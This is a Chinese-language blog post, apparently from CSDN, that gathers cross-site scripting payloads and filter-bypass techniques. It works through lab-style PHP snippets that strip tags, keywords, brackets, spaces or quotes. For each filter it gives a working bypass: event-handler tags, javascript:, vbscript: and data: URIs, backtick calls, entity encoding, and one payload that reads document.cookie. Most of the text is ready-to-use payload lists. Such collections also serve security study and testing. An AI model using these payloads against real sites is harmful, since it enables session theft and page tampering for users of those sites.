XSS语句

<img src=1 οnerrοr=alert(1)>

<script>alert(1)</script>

<script>alert(/1/)</script>

"/><svg/οnlοad=prompt(/1/);>

<input id="aaa" type="text" value="输出点">

 

<a herf="输出点"><img src=1>">

</script><script>alert(1)//

 

 

title

 

textarea

 

xmp

 

 

js加属性

οnmοuseοver=alert(1) "

 

//注释

 

脆弱点在A标签中:

 

分析一下:输出点在<a href=xxxxx> XXXXX字体部分,可以尝试使用 javascript:alert(1)

 

分析一下:输出点在<a href=xxxxx> XXXXX字体部分,,这次经过了测试错误提醒

说输入的内容不合法,不是一个正确url ,尝试使用http 和http://测试,匹配的

是http://

<a href=javascript:alert(1)”>http://>

 

 

分析:对img和<script> 做了过滤。考虑使用别的标签事件

"><body οnlοad=alert`1`><"

 

 

<img> 和 <script>被过滤

 

<?php ini_set("display_errors", 0); $str = strtolower(@$_POST["keyword"]); while (strpos($str,'script')) {$str = str_replace('script', '', $str);} while (strpos($str,'<img')) {$str = str_replace('<img', '', $str);} echo ' <form class="main" action="index.php" method="POST"> <input name=keyword size=60 value="'.$str.'"> <input type=submit name=submit value="Search"/> </form>'; echo '<p class="main">No results for "<b>'.htmlspecialchars($str).'</b>"</p>'; ?>

根据源码可以看到,这里直接接收keyword参数,然后变为小写 之后使用了两个循环,把字符串script以及<img替换为空 这里是循环过滤了小写后的script所以已经不能使用script了 而这里又过滤了<img,这意味着img标签也不能用了 其实除了img标签外,其他的只要支持on之类事件的标签都能够执行js代码 比如a标签,可以使用payload:"><a οnclick=alert(1)>click me</a><"来绕过, 不过这个需要点击一下才能xss,危害没有自动xss效果好

 

<script>和on 被过滤

利用伪协议

<?php ini_set("display_errors", 0); $str = strtolower(@$_POST["keyword"]); while (strpos($str,'<script>')) {$str = str_replace('<script>', '', $str);} while (strpos($str,'on')) {$str = str_replace('on', '', $str);} echo ' <form class="main" action="index.php" method="POST"> <input name=keyword size=60 value="'.$str.'"> <input type=submit name=submit value="Search"/> </form>'; echo '<p class="main">No results for "<b>'.htmlspecialchars($str).'</b>"</p>';

 

 

根据源码可以看到,这里直接接收keyword参数,然后变为小写 之后使用了循环过滤了<script>和on,然后输出到input中 这里可以使用伪协议来绕过 可以使用payload:"><a href="javascript:alert(1)">click me</a><" 这里href里使用javascript伪协议声明后面的是js代码

 

script ,img,a,标签都被过滤

根据源码可以看到,这里直接接收keyword参数,然后变为小写 之后使用了循环过滤了script和<img和<a,然后输出到input中 所以script和img和a标签宣布gg 这里不得不提到另外两个常用的payload: "><body οnlοad=alert(1)><"

"><div οnclick="alert('xss')">click me<" 这两个都可以过,前者是自动加载的,后者则需要点击交互

“><iframe οnlοad="alert(1)" height="0" width="0"></iframe>

 

script ,园括号被过滤

用 ` ` 代替

<?php ini_set("display_errors", 0); $str = strtolower(@$_POST["keyword"]); while (strpos($str,'script')) {$str = str_replace('script', '', $str);} $str = str_replace('(', '', $str); $str = str_replace(')', '', $str); echo ' <form class="main" action="index.php" method="POST"> <input name=keyword size=60 value="'.$str.'"> <input type=submit name=submit value="Search"/> </form>'; echo '<p class="main">No results for "<b>'.htmlspecialchars($str).'</b>"</p>'; ?>

 

根据源码可以看到,这里直接接收keyword参数,然后变为小写 之后使用了循环过滤了script,然后过滤了圆括号 可以使用"><body οnlοad=alert`1`><" 这里使用的是Esc键下面的反向单引号,它的作用和单引号一样

 

script,圆括号, 空格被过滤用 / 代替空格

<?php ini_set("display_errors", 0); $str = strtolower(@$_POST["keyword"]); while (strpos($str,'script')) {$str = str_replace('script', '', $str);} $str = str_replace('(', '', $str); $str = str_replace(')', '', $str); $str = str_replace(' ', '', $str); echo ' <form class="main" action="index.php" method="POST"> <input name=keyword size=60 value="'.$str.'"> <input type=submit name=submit value="Search"/> </form>'; echo '<p class="main">No results for "<b>'.htmlspecialchars($str).'</b>"</p>'; ?>

 

根据源码可以看到,这里直接接收keyword参数,然后变为小写 之后使用了循环过滤了script,然后过滤了圆括号,之后又过滤了空格 可以使用"><img/src='1'/οnerrοr=alert`0`><"

或者

"><<svg/οnlοad=alert`1`><"

有时候用斜杠是可以代替空格的

过滤了圆括号(),反引号`.

<svg>可以执行html转义字符.

<svg><script>alert&#40;1&#41;</script>

 

所有的类<>标签都不能用了

 

<?php ini_set("display_errors", 0); $str = strtolower(@$_POST["keyword"]); $str = preg_replace("/<.*?>/", '', $str); echo ' <form class="main" action="index.php" method="POST"> <input name=keyword size=60 value="'.$str.'"> <input type=submit name=submit value="Search"/> </form>'; echo '<p class="main">No results for "<b>'.htmlspecialchars($str).'</b>"</p>'; ?>

 

根据源码可以看到,这里直接接收keyword参数,然后变为小写 之后使用正则来过滤<>之间的内容,这意味着所有的类<>标签都不能用了 其实input是有一个比较奇葩的payload的,那就是 <input type=image src=x οnerrοr=alert(1)> 这个payload会把input当做img标签来用 此处用 " type=image src=x οnerrοr=alert(1) " 闭合前后双引号,构造即可

用换行可以绕过正则

eg:

post一个url 单引号和双引号被过滤

 

<?php ini_set("display_errors", 0); echo ' <form class="main" action=index.php method=POST> <input name=link size=60 value=""> <input type=submit name=submit value="add link" /> </form>'; echo '<div class="link"></div>'; if (isset($_POST['link'])) { $str = strtolower(@$_POST["link"]); $str=str_replace('"','&quot;',$str); $str=str_replace("'",'&apos;',$str); echo '<div class="main"><a href="'.$str.'">Link</a></div>'; } ?>

 

根据源码可以看到,这里是添加链接的 用户post一个url,然后会把url添加到当前页面 这里对单双引号进行了替换,替换为了对应的实体编码 所以不能用双引号闭合然后跳出a标签 但是你还记得为协议吗? 是的,这里用 javascript:alert(1) 然后点击即可

 

javascript&#058;alert(1)

javaSCRIPT&colon;alert(1)

JaVaScRipT:alert(1)

javas&Tab;cript:\u0061lert(1);

javascript:\u0061lert&#x28;1&#x29

avascript&#x3A;alert&lpar;document&period;cookie&rpar;      // AsharJaved

IE10以下和URI中可以使用VBScript

vbscript:alert(1);

vbscript&#058;alert(1);

vbscr&Tab;ipt:alert(1)"

Data URl

data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

 

post一个url 单引号和双引号被过滤 // 注释 url中必须要有http

<?php ini_set("display_errors", 0); echo ' <form class="main" action=index.php method=POST> <input name=link size=60 value=""> <input type=submit name=submit value="add link" /> </form>'; echo '<div class="link"></div>'; if (isset($_POST['link'])) { $str = strtolower(@$_POST["link"]); $str=str_replace('"','&quot;',$str); $str=str_replace("'",'&apos;',$str); if (strpos($str,'http://')===false) { echo '<center><b>链接不合法</b></center>'; } else { echo '<div class="main"><a href="'.$str.'">Link</a></div>'; } } ?>

 

根据源码可以看到,同样这里是添加链接的 用户post一个url,然后会把url添加到当前页面 这里对单双引号进行了替换,替换为了对应的实体编码 然后判断了用户提交的url中是否含有http:// 用来验证提交的是否为url 这里可以用 javascript:alert(1)//http:// 因为javascript中,//是代表注释的意思 这样数据中含有http://还不影响弹窗

 

 

 

 

值是输出在js代码中的 只要闭合双引号,然后就可以写你自己的js代码了

 

先加一个双引号闭合前面的

再加一个双引号,闭合后面的,即两个闭合

然后在两者之间写自己的js代码 , 如 -alert(1)-

 

 

 

 

也可以使用 </script>将前面的<script>标签闭合掉

 

 

//在JS中是注释的意思,将后面的双引号注释掉

 

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值